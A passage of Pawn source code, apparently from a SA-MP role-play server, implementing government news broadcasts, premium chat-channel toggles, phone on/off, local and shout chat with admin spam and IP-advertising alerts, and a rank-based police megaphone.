				if(PINFO[playerid][pLeader] == 21 || PlayerInfo[playerid][pLeader] == 1 || PlayerInfo[playerid][pLeader] == 2 || PlayerInfo[playerid][pLeader] == 3 || PlayerInfo[playerid][pLeader] == 7 || PlayerInfo[playerid][pLeader] == 20)
				{
				

				
				
				
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/Gov)ernment <Text>");
					return 1;
				}
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				new RankMan[50];
				if(PlayerInfo[playerid][pLeader] == 1) { RankMan = "{0000ff}PD News"; }
				if(PlayerInfo[playerid][pLeader] == 2) { RankMan = "{171DFF}FBI News"; }
				if(PlayerInfo[playerid][pLeader] == 3) { RankMan = "{2c4c9b}NG News"; }
				if(PlayerInfo[playerid][pLeader] == 7) { RankMan = "{BBF060}Mayor News"; }
				if(PlayerInfo[playerid][pLeader] == 20) { RankMan = "{60F565}SFPD News"; }
				SendClientMessageToAll(COLOR_WHITE, "|___________ Government News Announcement ___________|");
				format(string, sizeof(string), "%s from %s:{FFFFFF} %s",RankMan, sendername, result);
				ForEachPlayer(i){SWM(i, COLOR_DBLUE, string);}
				} else { SCM(playerid,COLOR_SINA3,"You are not a Cop/Mayor Leader."); return 1; }
			}
			return 1;
		}
	//----------------------------------[togs]-----------------------------------------------
		if(strcmp(cmd, "/togooc", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if (PlayerInfo[playerid][pPremiumAccount] != 0)
			 {
				if (!gOoc[playerid])
				{
					gOoc[playerid] = 1;
					SendMessage(playerid, COLOR_GRAD2, "OOC chat channel Disabled !");
				}
				else if (gOoc[playerid])
				{
					gOoc[playerid] = 0;
					SendMessage(playerid, COLOR_GRAD2, "OOC chat channel Enabled !");
				}
			}
			  else
			  {
			   SCM(playerid, COLOR_RED, "You haven't premium account, buy it From our /forum");
			   return 1;
			  }
			 }
			return 1;
		}
		if(!strcmp(cmd,"/togevent",true))
		{
			if(PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid,COLOR_RED,"You haven't premium account.");
			if(TogEvent[playerid] == false)
			{
				TogEvent[playerid] = true;
				SCM(playerid,COLOR_SINA3,"Event Chat Channel has been closed for You.");
			}
			else
			{
				TogEvent[playerid] = false;
				SCM(playerid,COLOR_SINA3,"Event Chat Channel has been opened for You.");
			}
			return 1;
		}
		if(strcmp(cmd, "/tognews", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pPremiumAccount] != 0)
				{
					if (!gNews[playerid])
					{
						gNews[playerid] = 1;
						SCM(playerid, COLOR_GRAD2, "News chat channel Disabled.");
					}
					else if (gNews[playerid])
					{
						gNews[playerid] = 0;
						SCM(playerid, COLOR_GRAD2, " News chat channel Enabled.");
					}
				}
				else
				{
				SCM(playerid, COLOR_RED, "You haven't premium account");
				return 1;
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/togfam", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pPremiumAccount] != 0)
				{
					if (!gFam[playerid])
					{
						gFam[playerid] = 1;
						SCM(playerid, COLOR_GRAD2, "Family chat channel Disabled.");
					}
					else if (gFam[playerid])
					{
						gFam[playerid] = 0;
						SCM(playerid, COLOR_GRAD2, "Family chat channel Enabled.");
					}
				}
				else
				SCM(playerid, COLOR_RED, "You haven't premium account");
			}
			return 1;
		}
		if(strcmp(cmd, "/togwhisper", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PlayerInfo[playerid][pPremiumAccount] != 0)
				{
				if(PINFO[playerid][pRank] == 0 && PINFO[playerid][pMember] != 0) return SCM(playerid, COLOR_YELLOW, "You cannot togwhisper when you are in faction employ test.");
					if (HidePM[playerid] == 0)
					{
						HidePM[playerid] = 1;
						SendMessage(playerid, COLOR_GRAD2, "Whisper chat channel Disabled.");
					}
					else
					{
						HidePM[playerid] = 0;
						SendMessage(playerid, COLOR_GRAD2, "Whisper chat channel Enabled.");
					}
			}

				else
				{
				SCM(playerid, COLOR_RED, "You haven't premium account");
				return 1;
				}
				}
			return 1;
		}
		if(strcmp(cmd,"/turn",true)==0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't do this command when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				new x_nr[256];
				x_nr = strtok(cmdtext, idx);
				if(!strlen(x_nr))
				{
					SCM(playerid, COL_SYN, "Syntax: /turn [on or off]");
					return 1;
				}
				if(strcmp(x_nr,"off",true) == 0)
				{
					if (PhoneOnline[playerid] == 1)
					{
						if(Mobile[playerid] != 9999 || CallWaiting[playerid] != 9999)
						{
							OnPlayerCommandText(playerid, "/h");
						}
						PhoneOnline[playerid] = 0;
						GetPlayerName(playerid, sendername, sizeof(sendername));
						format(string, sizeof(string), "%s turns off the phone.", sendername);
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else
					SCM(playerid, COLOR_YELLOW,"Your phone is already turned off.");
					return 1;
				}
				if(strcmp(x_nr,"on",true) == 0)
				{
					if (PhoneOnline[playerid] == 0)
					{
						if(PINFO[playerid][pRank] == 0 && PINFO[playerid][pMember] != 0) return SCM(playerid, COLOR_YELLOW, "You cannot turn on your phone when you are in faction employ test.");
						PhoneOnline[playerid] = 1;
						GetPlayerName(playerid, sendername, sizeof(sendername));
						format(string, sizeof(string), "%s turns on the phone.", sendername);
						ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else
					SCM(playerid, COLOR_YELLOW,"Your phone is already turned on.");
					return 1;
				}
			}
			return 1;
		}
	//----------------------------------[Emote]-----------------------------------------------
		/*if(strcmp(cmd, "/me", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "   You havent logged in yet !");
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
				new result[64];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /me [action]");
					return 1;
				}
					format(string, sizeof(string), "* %s %s.", sendername, result);

				ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);

				new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[512], string[512];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[RT] %s (%d): %s ", name, playerid,result);
		SendAdminMessage(COLOR_GG,string);
		}
		for(new i; i < sizeof(SusWords); i++)
		{
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[512], string[512];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[RT] %s (%d): %s", name, playerid,result);
				SendAdminMessage(COLOR_GG,string);
			}
		}

			}
			return 1;
		}*/
	//============================[local]===================================================
		if(strcmp(cmd, "/b", true) == 0)//local ooc
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You havent logged in yet !");
					return 1;
				}
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /b <Text>");
					return 1;
				}
				new strchat[144];
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				format(strchat, sizeof(strchat), "%s Says: (( %s ))", sendername, result);
				ProxDetector(20.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
                if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/B{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
         if(strcmp(result, LastMessageWarned[playerid], false))
         {
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/B{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],result,149);
				break;
			 }
			}
		 }
		}
				//printf("%s", string);
			}
			return 1;
		}
		if(strcmp(cmd, "/low", true) == 0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You havent logged in yet !");
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new result[256];
				result = strtokEx(cmdtext,idx);
				new strchat[144];
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				format(strchat, sizeof(strchat), "%s Says: [LOW] %s", sendername, result);
				ProxDetector(3.0, playerid, strchat,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
                if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/LOW{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
		         if(strcmp(result, LastMessageWarned[playerid], false))
         {
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/LOW{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],result,149);
				break;
				}
			}
		 }
		}

			}
			return 1;
		}
	//----------------------------------[Shout]-----------------------------------------------
		if(strcmp(cmd, "/shout", true) == 0 || strcmp(cmd, "/s", true) == 0)
		{
		if(Specing[playerid] >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't send chat when you are specing.");
			if(IsPlayerConnected(playerid))
			{
				if(gPlayerLogged[playerid] == 0)
				{
					SendMessage(playerid, COLOR_GREY, "You havent logged in yet.");
					return 1;
				}
				if(PINFO[playerid][pMuteTime] > 0) return SCM(playerid,COLOR_SINA3,"You cannot speak when you are muted.");
				GetPlayerName(playerid, sendername, sizeof(sendername));
	   new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/s)hout <Shout Chat>");
					return 1;
				}
				new strchat[144];
				if(PINFO[playerid][pAdmin]<12)CensorText(result);
				format(strchat, sizeof(strchat), "%s Shouts: %s!", sendername, result);
				ProxDetector(30.0, playerid, strchat,COLOR_WHITE,COLOR_WHITE,COLOR_WHITE,COLOR_FADE1,COLOR_FADE2);
                if(IsAdv(result)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				new tedad = 0;
		for(new b = 0;b < 9;b++) {
		new str[512];
		format(str, sizeof(str), "%d",b);
		if(strfind(result, str, true) != -1)
		{
		tedad++;
		}
		}
		if(tedad > 3) {
		new name[25];
		GetPlayerName(playerid, name, sizeof(name));
		format(string, sizeof(string), "[AD-{00FF00}/S{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
		//SendAdminMessage(COLOR_SINAGHERMEZ,string);
		}
		for(new i; i < sizeof(SusWords); i++)
		{
		if(PINFO[playerid][pAdmin] < 12)
		{
		         if(strcmp(result, LastMessageWarned[playerid], false))
         {
			if(strfind(result, SusWords[i], true) != -1)
			{
				new name[25];
				GetPlayerName(playerid, name, sizeof(name));
				format(string, sizeof(string), "[AD-{00FF00}/S{FF0000}] {FFFFFF}%s(%d): {b8ffdb}%s", name, playerid,result);
				SendAdminMMessage(COLOR_SINAGHERMEZ,string);
				strcpy(LastMessageWarned[playerid],result,149);
				break;
				}
			}
		 }
		}

				//printf("%s", string);
			}
			return 1;
		}
	//----------------------------------[Shout]-----------------------------------------------
		if(strcmp(cmd, "/megaphone", true) == 0 || strcmp(cmd, "/m", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				GetPlayerName(playerid, sendername, sizeof(sendername));
				new length = strlen(cmdtext);
				while ((idx < length) && (cmdtext[idx] <= ' '))
				{
					idx++;
				}
				new offset = idx;
	   new result[144];
				while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
				{
					result[idx - offset] = cmdtext[idx];
					idx++;
				}
				result[idx - offset] = EOS;
				if(!strlen(result))
				{
					SendMessage(playerid, COL_SYN, "Syntax: (/M)egaphone <Megaphone Chat>");
					return 1;
				}
				if(gTeam[playerid] == TEAM_COP || PINFO[playerid][pLeader] == 21)
				{
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< %s >]", currank, sendername, result);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o< %s >]", sendername, result); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[National Guard Leader %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< %s >]", sendername, result); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< %s >]", sendername, result); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "SFPD Leader"; }
							format(string, sizeof(string), "[%s %s:o< %s >]", currank, sendername, result);
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						//printf("%s", string);
						strmid(Megaphonetext[playerid], result, 0, strlen(result), 255);
				}
				else
				{
					SendMessage(playerid, COLOR_BLUE, "You are not a Cop");
					return 1;
				}
			}
			return 1;
		}
		// ======================[/M e Police Ha]=====================
		/*
		if(strcmp(cmd, "/mg", true) == 0 || strcmp(cmd, "/mgkon", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(gTeam[playerid] != TEAM_COP || !IsACop(playerid))
				{
				SCM(playerid, COLOR_BLUE, "You are not Cop.");
				return 1;
				}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Mgkon <Playerid/PartOfName>");
					return 1;
				}

				new playa;
				playa = ReturnUser6(tmp);
			if(!IsPlayerConnected(playa)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
				if(OnDuty[playerid] != 1 && PINFO[playerid][pLeader] != 21)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
					if (ProxDetectorS(60.0, playerid, playa))
					{
					SCM(playerid, COLOR_GRAD2, "Player has received your Megaphone");
					}
					else
					{
					SCM(playerid, COLOR_GRAD2, "Player didnt received your Megaphone");
					}

				if(gTeam[playerid] == TEAM_COP || IsACop(playerid))
				{

						if(PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 1)
						{
							new currank[64];
							if(PlayerInfo[playerid][pRank] == 1) { currank = "Soldier"; }
							else if(PlayerInfo[playerid][pRank] == 2) { currank = "Police Officer"; }
							else if(PlayerInfo[playerid][pRank] == 3) { currank = "Sergeant"; }
							else if(PlayerInfo[playerid][pRank] == 4) { currank = "Captain"; }
							else if(PlayerInfo[playerid][pRank] == 5) { currank = "Colonel"; }
							else if(PlayerInfo[playerid][pRank] == 6) { currank = "Chief"; }
							else if(PlayerInfo[playerid][pRank] == 7) { currank = "PD Leader"; }
							format(string, sizeof(string), "[%s %s:o< Bazikon {FF0000}%s {FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", currank, PlayerInfo[playerid][pName], PlayerInfo[playa][pName]);
							ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 2 || PlayerInfo[playerid][pLeader] == 2)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[FBI Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Deputy Director %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Unit Chief %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Supervisory Special Agent %s:o< Bazikon{FFFF00} %s {0000FF}Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Special Agent %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[New Agent Trainee %s:o< Bazikon{FF0000} %s {FFFF00}Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 3 || PlayerInfo[playerid][pLeader] == 3)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[N.G Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}
						else if(PlayerInfo[playerid][pMember] == 22 || PlayerInfo[playerid][pLeader] == 22)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[Swat Leader %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[Marshal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Sergeant Major %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 4) { format(string, sizeof(string), "[Master Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 3) { format(string, sizeof(string), "[Sergeant %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 2) { format(string, sizeof(string), "[Corporal %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 1) { format(string, sizeof(string), "[Private %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					ProxDetector(60.0, playerid, string,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW,COLOR_YELLOW);
						}

						else if(PlayerInfo[playerid][pMember] == 20 || PlayerInfo[playerid][pLeader] == 20)
						{
					if(PlayerInfo[playerid][pRank] >= 7) { format(string, sizeof(string), "[SFPD Leader %s:o< Bazikon {FF0000}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 6) { format(string, sizeof(string), "[HQ Commander %s:o< Bazikon{FF0000} %s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
					else if(PlayerInfo[playerid][pRank] == 5) { format(string, sizeof(string), "[Command Sergeant Major %s:o< Bazikon {FFFF00}%s{FFFF00} Bezanid Baghal Va Piyade Shavid Va Dokme G Ra Bezanid. >]", PlayerInfo[playerid][pName], PlayerInfo[playa][pName]); }
